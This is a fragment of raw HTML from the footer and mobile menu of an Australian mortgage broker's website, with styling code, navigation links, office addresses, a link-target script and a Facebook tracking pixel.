19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM5.7608 10.4389H8.48027V18.6098H5.7608V10.4389ZM8.65939 7.91135C8.64174 7.1102 8.06883 6.5 7.13852 6.5C6.20821 6.5 5.60001 7.1102 5.60001 7.91135C5.60001 8.6959 6.19023 9.32367 7.10322 9.32367H7.1206C8.06883 9.32367 8.65939 8.6959 8.65939 7.91135ZM15.1566 10.2471C16.9461 10.2471 18.2877 11.4151 18.2877 13.9249L18.2876 18.6098H15.5682V14.2384C15.5682 13.1404 15.1747 12.3911 14.1903 12.3911C13.4389 12.3911 12.9914 12.8962 12.7949 13.3841C12.723 13.5589 12.7053 13.8025 12.7053 14.0467V18.61H9.98555C9.98555 18.61 10.0214 11.2059 9.98555 10.4391H12.7053V11.5965C13.0663 11.0401 13.7127 10.2471 15.1566 10.2471Z" fill="#FFD400"></path> </svg></span></a></div></div>	</div>
</div><!-- data-section="footer_social" -->
					</div>
										<div class="site-footer-top-section-2 site-footer-section footer-section-inner-items-1">
						<div class="footer-widget-area widget-area site-footer-focus-item footer-widget2 content-align-default content-tablet-align-default content-mobile-align-default content-valign-default content-tablet-valign-default content-mobile-valign-default" data-section="sidebar-widgets-footer2">
	<div class="footer-widget-area-inner site-info-inner">
		<section id="block-10" class="widget widget_block"><style>.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{align-content:start;}:where(.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap) > .wp-block-kadence-column{justify-content:start;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-md, 2rem);row-gap:var(--global-kb-gap-md, 2rem);padding-top:var(--global-kb-spacing-sm, 1.5rem);padding-bottom:var(--global-kb-spacing-sm, 1.5rem);grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}.kb-row-layout-idblock-10_106535-d1{background-color:#060807;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-layout-overlay{opacity:0.30;}@media all and (max-width: 1024px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}}@media all and (max-width: 767px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {    grid-template-columns: minmax(0, 1fr) minmax(0, 1fr) minmax(0, auto);}@media (max-width: 1024px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr minmax(0, 2fr);    }}@media (max-width: 640px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr;    }    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap>div:nth-of-type(3) {        grid-column: 1/span 2;    }}</style><div class="kb-row-layout-wrap kb-row-layout-idblock-10_106535-d1 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-3-columns kt-row-layout-right-half kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">
<style>.kadence-column6cadfa-f3 > .kt-inside-inner-col,.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column6cadfa-f3 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}.kadence-column6cadfa-f3 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column6cadfa-f3{position:relative;}@media all and (max-width: 1024px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column6cadfa-f3"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-itemsa25937-63 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-8020ef-57 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-8020ef-57"><a href="/what-makes-us-different/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">About</span></a></li>


<style>.kt-svg-icon-list-item-a402fb-55 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-a402fb-55"><a href="/loans/borrower-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Borrower Type</span></a></li>


<style>.kt-svg-icon-list-item-9c0669-fb .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9c0669-fb"><a href="/loans/loan-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Loan Type</span></a></li>


<style>.kt-svg-icon-list-item-09bb4e-1b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-09bb4e-1b"><a href="/case-studies/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Case Studies</span></a></li>


<style>.kt-svg-icon-list-item-e9eef6-0b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e9eef6-0b"><a href="/contact/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Contact Us</span></a></li>
</ul></div>
</div></div>


<style>.kadence-columndb984d-cd > .kt-inside-inner-col,.kadence-columndb984d-cd > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-columndb984d-cd > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}.kadence-columndb984d-cd > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-columndb984d-cd > .kt-inside-inner-col:before{opacity:0.3;}.kadence-columndb984d-cd{position:relative;}@media all and (max-width: 1024px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-columndb984d-cd > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items226a91-b5 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-804f79-7f"><a href="/knowledge-hub/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Blog</span></a></li>


<style>.kt-svg-icon-list-item-eb24af-79 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-eb24af-79"><a href="/checklist-resources/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Help</span></a></li>


<style>.kt-svg-icon-list-item-6155dd-89 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-6155dd-89"><a href="/privacy/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Privacy Statement</span></a></li>


<style>.kt-svg-icon-list-item-9ffb75-68 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9ffb75-68"><a href="/complaints/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Complaints</span></a></li>


<style>.kt-svg-icon-list-item-84f67f-35 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-84f67f-35"><a href="/glossary/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Glossary</span></a></li>
</ul></div>
</div></div>


<style>.kadence-column1263cf-43 > .kt-inside-inner-col,.kadence-column1263cf-43 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column1263cf-43 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}.kadence-column1263cf-43 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column1263cf-43 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column1263cf-43{position:relative;}@media all and (max-width: 1024px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column1263cf-43 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column1263cf-43"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf48795-b5 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf48795-b5[data-kb-block="kb-adv-headingf48795-b5"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf48795-b5 wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf48795-b5">Visit Us</h3>


<style>.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"]{margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading97cfab-3a[data-kb-block="kb-adv-heading97cfab-3a"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading97cfab-3a wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading97cfab-3a">Sydney</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items194f66-67 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items194f66-67 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e00afd-43"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111" data-type="link" data-id="https://www.google.com/maps/place/Intuitive+Finance/@-37.9423057,145.0136205,15z/data=!4m2!3m1!1s0x0:0x61ba69f85bdcce12?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111">65 Boundary St, Darlinghurst – NSW, 2010</a></span></li>
</ul></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingef6771-cb mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingef6771-cb[data-kb-block="kb-adv-headingef6771-cb"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items09ac66-c9 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-f69b16-ff"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://business.google.com/n/9847261145670698710/profile?authuser=1&amp;fid=7420700169130882476">20 Prospect Street, Fortitude Valley – QLD 4006</a></span></li>
</ul></div>


<style>.wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82, .wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82[data-kb-block="kb-adv-headingcb82fc-82"]{margin-top:16px;margin-bottom:8px;font-size:14px;line-height:1.5;font-style:normal;}.wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingcb82fc-82[data-kb-block="kb-adv-headingcb82fc-82"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items18e39e-e4 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items18e39e-e4 kt-svg-icon-list-columns-1 alignnone"><ul class="kt-svg-icon-list">
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-54680c-e5"><span class="kb-svg-icon-wrap kb-svg-icon-fe_home kt-svg-icon-list-single"><svg viewBox="0 0 24 24"  fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"  aria-hidden="true"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg></span><span class="kt-svg-icon-list-text"><a href="https://www.google.com/maps/place/Intuitive+Finance+-+Mortgage+brokers/@-37.9550506,145.0246036,15z/data=!4m2!3m1!1s0x0:0x29819dac62d609b5?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111" data-type="link" data-id="https://www.google.com/maps/place/Intuitive+Finance+-+Mortgage+brokers/@-37.9550506,145.0246036,15z/data=!4m2!3m1!1s0x0:0x29819dac62d609b5?sa=X&amp;ved=1t:2428&amp;hl=en&amp;ictx=111">Level 1, 218 Bay Road, Sandringham – VIC, 3191</a></span></li>
</ul></div>
</div></div>

</div></div></section>	</div>
</div><!-- .footer-widget2 -->
					</div>
								</div>
		</div>
	</div>
</div>
<div class="site-bottom-footer-wrap site-footer-row-container site-footer-focus-item site-footer-row-layout-standard site-footer-row-tablet-layout-default site-footer-row-mobile-layout-default" data-section="kadence_customizer_footer_bottom">
	<div class="site-footer-row-container-inner">
				<div class="site-container">
			<div class="site-bottom-footer-inner-wrap site-footer-row site-footer-row-columns-1 site-footer-row-column-layout-row site-footer-row-tablet-column-layout-default site-footer-row-mobile-column-layout-row ft-ro-dir-row ft-ro-collapse-normal ft-ro-t-dir-default ft-ro-m-dir-default ft-ro-lstyle-plain">
									<div class="site-footer-bottom-section-1 site-footer-section footer-section-inner-items-1">
						
<div class="footer-widget-area site-info site-footer-focus-item content-align-default content-tablet-align-default content-mobile-align-default content-valign-default content-tablet-valign-default content-mobile-valign-default" data-section="kadence_customizer_footer_html">
	<div class="footer-widget-area-inner site-info-inner">
		<div class="footer-html inner-link-style-normal"><div class="footer-html-inner"><p>&copy; 2025 Intuitive Finance. All rights reserved.</p>
</div></div>	</div>
</div><!-- .site-info -->
					</div>
								</div>
		</div>
	</div>
</div>
	</div>
</footer><!-- #colophon -->

</div><!-- #wrapper -->

			<script>document.documentElement.style.setProperty('--scrollbar-offset', window.innerWidth - document.documentElement.clientWidth + 'px' );</script>
			    <script type="text/javascript">
    document.addEventListener("DOMContentLoaded", function() {
        const links = document.querySelectorAll('a[href^="http"]:not([href*="' + window.location.hostname + '"])');
        links.forEach(link => {
            link.setAttribute('target', '_blank');
        });
    });
    </script>
    <noscript><img height="1" width="1" style="display: none;" src="https://www.facebook.com/tr?id=600791710546829&ev=PageView&noscript=1&eid=a7ec5fd4-19a5-4b77-8569-98518b73eaab&cd%5Bpost_category%5D=First+time+buyers%2C+Home+buying+%26+selling&cd%5Bpage_title%5D=First+time+buyers&cd%5Bpost_type%5D=category&cd%5Bpost_id%5D=90&cd%5Bplugin%5D=PixelYourSite&cd%5Bevent_url%5D=intuitivefinance.com.au%2Ffirst-time-buyers%2Fpage%2F2%2F&cd%5Buser_role%5D=guest" alt="facebook_pixel"></noscript>
	<div id="mobile-drawer" class="popup-drawer popup-drawer-layout-fullwidth popup-drawer-animation-fade popup-drawer-side-right" data-drawer-target-string="#mobile-drawer"
			>
		<div class="drawer-overlay" data-drawer-target-string="#mobile-drawer"></div>
		<div class="drawer-inner">
						<div class="drawer-header">
				<button class="menu-toggle-close drawer-toggle" aria-label="Close menu"  data-toggle-target="#mobile-drawer" data-toggle-body-class="showing-popup-drawer-from-full" aria-expanded="false" data-set-focus=".menu-toggle-open"
							>
					<span class="toggle-close-bar"></span>
					<span class="toggle-close-bar"></span>
				</button>
			</div>
			<div class="drawer-content mobile-drawer-content content-align-left content-valign-top">
								<div class="site-header-item site-header-focus-item site-header-item-mobile-navigation mobile-navigation-layout-stretch-false" data-section="kadence_customizer_mobile_navigation">
		<nav id="mobile-site-navigation" class="mobile-navigation drawer-navigation drawer-navigation-parent-toggle-false" role="navigation" aria-label="Primary Mobile Navigation">
				<div class="mobile-menu-container drawer-menu-container">
			<ul id="mobile-menu" class="menu has-collapse-sub-nav"><li id="menu-item-19529" class="home menu-item menu-item-type-custom menu-item-object-custom menu-item-19529"><a href="/">Home</a></li>
<li id="menu-item-5490" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5490"><div class="drawer-nav-drop-wrap"><a href="#">About</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5490 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-9450" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9450"><a href="https://intuitivefinance.com.au/what-makes-us-different/">What Makes Us Different</a></li>
	<li id="menu-item-11635" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11635"><a href="https://intuitivefinance.com.au/testimonials/">Testimonials</a></li>
	<li id="menu-item-16055" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16055"><a href="https://intuitivefinance.com.au/careers/">Broker &#038; Administration Careers</a></li>
</ul>
</li>
<li id="menu-item-20372" class="xmega-menu cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-20372"><div class="drawer-nav-drop-wrap"><a href="#">Loans</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-20372 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
